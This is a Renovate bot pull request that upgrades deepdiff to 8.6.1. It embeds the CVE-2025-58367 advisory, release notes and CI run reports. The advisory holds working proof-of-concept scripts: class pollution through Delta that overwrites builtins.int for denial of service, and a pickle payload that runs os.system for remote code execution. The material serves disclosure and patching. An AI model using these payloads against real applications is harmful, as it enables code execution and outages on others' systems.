Skip to content

Comments

chore(deps): update dependency deepdiff to v8 [security]#850

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/pypi-deepdiff-vulnerability
Open

chore(deps): update dependency deepdiff to v8 [security]#850
renovate[bot] wants to merge 1 commit intomainfrom
renovate/pypi-deepdiff-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Dec 8, 2025

This PR contains the following updates:

Package Change Age Confidence
deepdiff ==6.6.0==8.6.1 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2025-58367

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string.
The _path_to_elements function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there.
However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python.
Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle

from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)

assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------

# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains

# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))
$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

# ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)

# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)

# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------

# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains

# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force,
and possibly in deepdiff.delta.Delta._get_elements_and_details.
Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180


Release Notes

seperman/deepdiff (deepdiff)

v8.6.1

Compare Source

DeepDiff 8-6-1

  • Patched security vulnerability in the Delta class which was vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it could lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

v8.6.0

Compare Source

v8.5.0

  • Updating deprecated pydantic calls
  • Switching to pyproject.toml
  • Fix for moving nested tables when using iterable_compare_func. by
  • Fix recursion depth limit when hashing numpy.datetime64
  • Moving from legacy setuptools use to pyproject.toml

v8.4.1

Compare Source

  • pytz is not required.

v8.4.0

Compare Source

  • Adding BaseOperatorPlus base class for custom operators
  • default_timezone can be passed now to set your default timezone to something other than UTC.
  • New summarization algorithm that produces valid json
  • Better type hint support

v8.3.0

Compare Source

v8.2.0

Compare Source

v8.1.1

Compare Source

Adding Python 3.13 to setup.py

v8.1.0

Compare Source

  • Removing deprecated lines from setup.py
  • Added prefix option to pretty()
  • Fixes hashing of numpy boolean values.
  • Fixes slots comparison when the attribute doesn't exist.
  • Relaxing orderly-set reqs
  • Added Python 3.13 support
  • Only lower if clean_key is instance of str #​504
  • Fixes issue where the key deep_distance is not returned when both compared items are equal #​510
  • Fixes exclude_paths fails to work in certain cases
  • exclude_paths fails to work #​509
  • Fixes to_json() method chokes on standard json.dumps() kwargs such as sort_keys
  • to_dict() method chokes on standard json.dumps() kwargs #​490
  • Fixes accessing the affected_root_keys property on the diff object returned by DeepDiff fails when one of the dicts is empty
  • Fixes accessing the affected_root_keys property on the diff object returned by DeepDiff fails when one of the dicts is empty #​508

v8.0.1

Compare Source

8.0.1 - extra import of numpy is removed

v8.0.0

Compare Source

With the introduction of threshold_to_diff_deeper, the values returned are different than in previous versions of DeepDiff. You can still get the older values by setting threshold_to_diff_deeper=0. However to signify that enough has changed in this release that the users need to update the parameters passed to DeepDiff, we will be doing a major version update.

  • use_enum_value=True makes it so when diffing enum, we use the enum's value. It makes it so comparing an enum to a string or any other value is not reported as a type change.
  • threshold_to_diff_deeper=float is a number between 0 and 1. When comparing dictionaries that have a small intersection of keys, we will report the dictionary as a new_value instead of reporting individual keys changed. If you set it to zero, you get the same results as DeepDiff 7.0.1 and earlier, which means this feature is disabled. The new default is 0.33 which means if less that one third of keys between dictionaries intersect, report it as a new object.
  • Deprecated ordered-set and switched to orderly-set. The ordered-set package was not being maintained anymore and starting Python 3.6, there were better options for sets that ordered. I forked one of the new implementations, modified it, and published it as orderly-set.
  • Added use_log_scale:bool and log_scale_similarity_threshold:float. They can be used to ignore small changes in numbers by comparing their differences in logarithmic space. This is different than ignoring the difference based on significant digits.
  • json serialization of reversed lists.
  • Fix for iterable moved items when iterable_compare_func is used.
  • Pandas and Polars support.

v7.0.1

  • When verbose=2, return new_path when the path and new_path are different (for example when ignore_order=True and the index of items have changed).
  • Dropping support for Python 3.7
  • Introducing serialize to flat rows for delta objects.
  • fixes the issue with hashing datetime.date objects where it treated them as numbers instead of dates (fixes #​445).
  • upgrading orjson to the latest version
  • Fix for bug when diffing two lists with ignore_order and providing compare_func
  • Fixes #​438
  • Supporting Python 3.12 in the build process by Leo Sin
  • Fixes #​457 by sf-tcalhoun
  • Fixes #​441
  • Fixes #​450
  • Fixes #​443
  • Include type info and change the "unknown" value for flat rows to something that is friendly for Postgres enums

v6.7.1

  • v6-7-1
  • v6-7-0
    • Delta can be subtracted from other objects now.
    • verify_symmetry is deprecated. Use bidirectional instead.
    • always_include_values flag in Delta can be enabled to include values in the delta for every change.
    • Fix for Delta.add breaks with esoteric dict keys.
    • You can load a delta from the list of flat dictionaries.

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - "after 9am every weekday,before 5pm every weekday" (UTC).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Dec 8, 2025
@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch 4 times, most recently from 887f6e4 to ecd3f34 Compare December 15, 2025 13:32
@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch 5 times, most recently from 37a3d28 to 370de23 Compare December 23, 2025 11:06
@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch from 370de23 to 3567d47 Compare January 4, 2026 13:10
@github-actions
Copy link

github-actions bot commented Jan 4, 2026

Run report for 39896018 (macos-latest, macOS, 0, 1, 1)

Total time: 33s | Comparison time: 4m 40s | Estimated savings: 4m 7s (88.2% faster)

Action Time Status Info
🟩 SyncWorkspace 10ms Passed
🟩 SyncProject(vendir) 0.5ms Passed
🟩 SyncProject(devenv) 0.4ms Passed
🟦 RunTask(vendir:build) 32.8s Cached
🟦 RunTask(devenv:test) 218.4ms Cached
Environment

OS: macOS
Matrix:

os = macos-latest
name = macOS
index = 0
total = 1
job_number = 1

Variables:

MOON_TOOLCHAIN_FORCE_GLOBALS = true
Touched files
libs/rules_task/requirements.in
libs/rules_task/requirements.txt

@github-actions
Copy link

github-actions bot commented Jan 4, 2026

Run report for 39896018 (ubuntu-latest, Linux, 1, 2, 2)

Total time: 14.1s | Comparison time: 2m 28s | Estimated savings: 2m 14s (90.6% faster)

Action Time Status Info
🟩 SyncWorkspace 8.5ms Passed
🟩 SyncProject(devcontainer) 0.5ms Passed
🟩 SyncProject(escaperoom) 0.3ms Passed
🟦 RunTask(talos-image:generate-sha) 490.1ms Cached
🟦 RunTask(escaperoom:test) 560.7ms Cached
🟩 RunTask(docker:buildx_run) 1.6s Passed
🟦 RunTask(devcontainers-cli:build) 1.6s Cached
🟦 RunTask(vendir:build) 13.8s Cached
🟦 RunTask(vendir:test) 199.3ms Cached
🟦 RunTask(devcontainer:build) 217.4ms Cached
🟦 RunTask(talos-image:generate-profile) 240.4ms Cached
🟦 RunTask(devenv:test) 273.7ms Cached
Environment

OS: Linux
Matrix:

os = ubuntu-latest
name = Linux
index = 1
total = 2
job_number = 2

Variables:

MOON_TOOLCHAIN_FORCE_GLOBALS = true
Touched files
libs/rules_task/requirements.in
libs/rules_task/requirements.txt

@github-actions
Copy link

github-actions bot commented Jan 4, 2026

Run report for 39896018 (ubuntu-latest, Linux, 0, 2, 1)

Total time: 53.8s | Comparison time: 8m 20s | Estimated savings: 7m 27s (89.3% faster)

Action Time Status Info
🟩 SyncWorkspace 8.8ms Passed
🟩 SyncProject(devcontainer) 0.4ms Passed
🟦 RunTask(talos-image:generate-sha) 833.2ms Cached
🟩 RunTask(docker:buildx_run) 1.4s Passed
🟦 RunTask(devcontainers-cli:build) 3.4s Cached
🟦 RunTask(vendir:build) 53.1s Cached
🟦 RunTask(vendir:test) 125.9ms Cached
🟦 RunTask(talos-image:generate-profile) 263.2ms Cached
🟦 RunTask(devenv:test) 401.6ms Cached
🟦 RunTask(devcontainer:build) 499.7ms Cached
🟦 RunTask(devcontainer:test) 190.7ms Cached
Environment

OS: Linux
Matrix:

os = ubuntu-latest
name = Linux
index = 0
total = 2
job_number = 1

Variables:

MOON_TOOLCHAIN_FORCE_GLOBALS = true
Touched files
libs/rules_task/requirements.in
libs/rules_task/requirements.txt

@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch 6 times, most recently from 91963d3 to 0f07c14 Compare January 9, 2026 16:33
@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch 10 times, most recently from 491febb to 04012af Compare January 18, 2026 08:48
@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch 5 times, most recently from 229f2ab to 93bb2fc Compare January 23, 2026 10:30
@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch 19 times, most recently from dab0048 to cc98df2 Compare February 6, 2026 19:33
@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch 4 times, most recently from f76ce5a to 7e97029 Compare February 18, 2026 13:13
@renovate renovate bot force-pushed the renovate/pypi-deepdiff-vulnerability branch from 7e97029 to 3989601 Compare February 19, 2026 16:47
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants